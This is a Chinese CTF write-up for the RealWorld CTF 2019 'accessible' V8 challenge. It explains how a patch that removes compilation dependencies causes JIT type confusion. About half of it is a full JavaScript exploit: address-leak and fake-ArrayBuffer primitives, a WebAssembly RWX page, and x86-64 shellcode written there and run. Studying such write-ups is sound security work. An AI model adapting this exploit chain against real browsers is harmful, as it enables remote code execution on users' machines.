RealWorld ctf 2019 accessible writeup | Hpasserby

admin 2024年1月5日00:03:06RealWorld ctf 2019 accessible writeup | Hpasserby已关闭评论4 views字数 5596阅读18分39秒阅读模式

AccessInfoFactory::ComputeDataFieldAccessInfo函数中,有两处unrecorded_dependencies.push_back被删除掉,同时让constness始终被赋值为PropertyConstness::kConst

先浏览一下整个函数的功能(以下为patch后的代码),首先获取了map中的instance_descriptors(存储了对象属性的元信息),然后通过descriptor定位到了一个具体的属性。

依次判断属性的类型,在进行一定的检查后,将属性加入到unrecorded_dependencies中。patch导致了一些本应该加入到unrecorded_dependencies的属性没有被加入进去。

继续跟踪函数返回值可以发现最终返回的是一个PropertyAccessInfo对象,而unrecorded_dependencies则是被初始化赋值给私有成员unrecorded_dependencies_

其中Merge函数中合并了两个unrecorded_dependencies_,RecordDependencies函数中将unrecorded_dependencies_转移到了CompilationDependencies类的私有成员dependencies_并清空了自身

浏览CompilationDependencies类所在的compilation-dependency.cc(.h)文件,从注释中可以得知该类用于收集和安装正在生成的代码的依赖。

逐个跟进文件查看后,我在compilation-dependencies.cc中注意到了以下部分代码。从代码中可以看出,Ruduce过程中,可以通过添加dependency的方式来将CheckMaps节点删除,我认为这便是道题的root cause.

该题目中,因为删除了某些添加dependency的代码,这就导致在代码runtime中,某些元素的改变不会被检测到从而没有deoptimize,最终造成type confusion。

patch删除了details_representation.IsHeapObject()分支中的unrecorded_dependencies.push_back操作,这意味HeapObject类型不会被加入dependencies中。

将obj作为参数传入leaker,生成JIT代码后,用{b: buf_to_leak}替换掉原来的字典,再次调用leaker(obj),可以发现并没有触发deoptimize,而是输出了一个double值(buf_to_leak的地址)

trick:在调试过程中会发现,Elements并不是始终紧邻JSArray的,有些时候两者会相距一段距离。在师傅们的wp中提到可以使用splice来使该布局稳定,例如

在伪造ArrayBuffer的时候需要同时也伪造出它的Map的结构(当然,也可以对内存中ArrayBuffer的Map地址进行泄露,但是就麻烦了),通过找到JSArray的地址,+0x40即为map的地址,再将map地址填入JSArray的第一项即可。

在v8利用中总是需要布置shellcode,那么在内存中找到一块具有RWX权限的区域将会十分有帮助。wasm(WebAssembly)详细概念就不在这介绍了,这里值得注意的是是用wasm可以在内存中开辟出一块RWX的内存空间。

这里可以将C语言编写的代码转换为wasm格式。当然,编写的c语言代码不能够调用库函数(不然就可以直接写rce了),但是只要通过漏洞,将我们的shellcode覆盖到内存中wasm代码所在rwx区域即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
%DebugPrint(wasm_instance);

readline();

----------------------------------------------------------------------------------

pwndbg> r --allow-natives-syntax ../../exps/OOB/test.js
DebugPrint: 0x3a58a3a21241: [WasmInstanceObject] in OldSpace
- map: 0x0764807492b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x00aad2e48559 <Object map = 0x7648074aa29>
- elements: 0x3b8a08680c01 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x00aad2e4d5b9 <Module map = 0x76480748d19>
...
pwndbg> x/32gx 0x3a58a3a21241-1
0x3a58a3a21240:0x00000764807492b90x00003b8a08680c01
0x3a58a3a21250:0x00003b8a08680c010x0000000000000000
0x3a58a3a21260:0x00000000000000000x0000000000000000
0x3a58a3a21270:0x000055f7cd11b8f00x00003b8a08680c01
0x3a58a3a21280:0x000055f7cd1cd1000x00003b8a086804b1
0x3a58a3a21290:0x00000000000000000x0000000000000000
0x3a58a3a212a0:0x00000000000000000x0000000000000000
0x3a58a3a212b0:0x000055f7cd1cd1800x000055f7cd11b910
0x3a58a3a212c0:0x00000f8fe12f0000<--RWX area
...
pwndbg> vmmap 0x00000f8fe12f0000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xf8fe12f0000 0xf8fe12f1000 rwxp 1000 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
function success(str, val){
console.log("[+]" + str + "0x" + val.toString(16));
}
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;

var fake_ab = [

mem.u2d(0x0), mem.u2d(0x0),

mem.u2d(0x0), mem.u2d(0x1000),

mem.u2d(0x0), mem.u2d(0x2),

mem.u2d(0x0), mem.u2d(0x0),

mem.u2d(0x0), mem.u2d(0x1900042317080808),
mem.u2d(0x00000000084003ff), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x0),
];

var ab = new ArrayBuffer(0x1000);
var obj1 = {c: {x: 1.1}};
var obj2 = {d: {w: ab}};

function leaker(o){
return o.c.x;
}
function faker(o){
return o.d.w;
}
for(var i = 0; i < 0x5000; i++){
leaker(obj1);
}
for(var i = 0; i < 0x5000; i++){
faker(obj2);
}

function leak_obj(o){
obj1.c = {y: o};
res = mem.d2u(leaker(obj1))
return res
}

fake_ab_addr = leak_obj(fake_ab) - 0x80;
wasm_inst_addr = leak_obj(wasm_instance) - 1;
success("fake_ab_addr: ", fake_ab_addr);
success("wasm_inst_addr: ", wasm_inst_addr);

fake_map_addr = fake_ab_addr + 0x40;
fake_mapmap_addr = fake_ab_addr + 0x80
rwx_area_loc = wasm_inst_addr + 0x80;

fake_ab[0] = mem.u2d(fake_map_addr);
fake_ab[4] = mem.u2d(rwx_area_loc);

obj2.d = {z: mem.u2d(fake_ab_addr)};
real_ab = faker(obj2);
view = new DataView(real_ab);

rwx_area_addr = mem.d2u(view.getFloat64(0, true));
success("rwx_area_addr: ", rwx_area_addr);

fake_ab[4] = mem.u2d(rwx_area_addr);

for (i = 0; i < shellcode.length; i++){
view.setUint32(i * 4, shellcode[i], true);
}

wasm_func();

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月5日00:03:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RealWorld ctf 2019 accessible writeup | Hpasserbyhttps://cn-sec.com/archives/2365958.html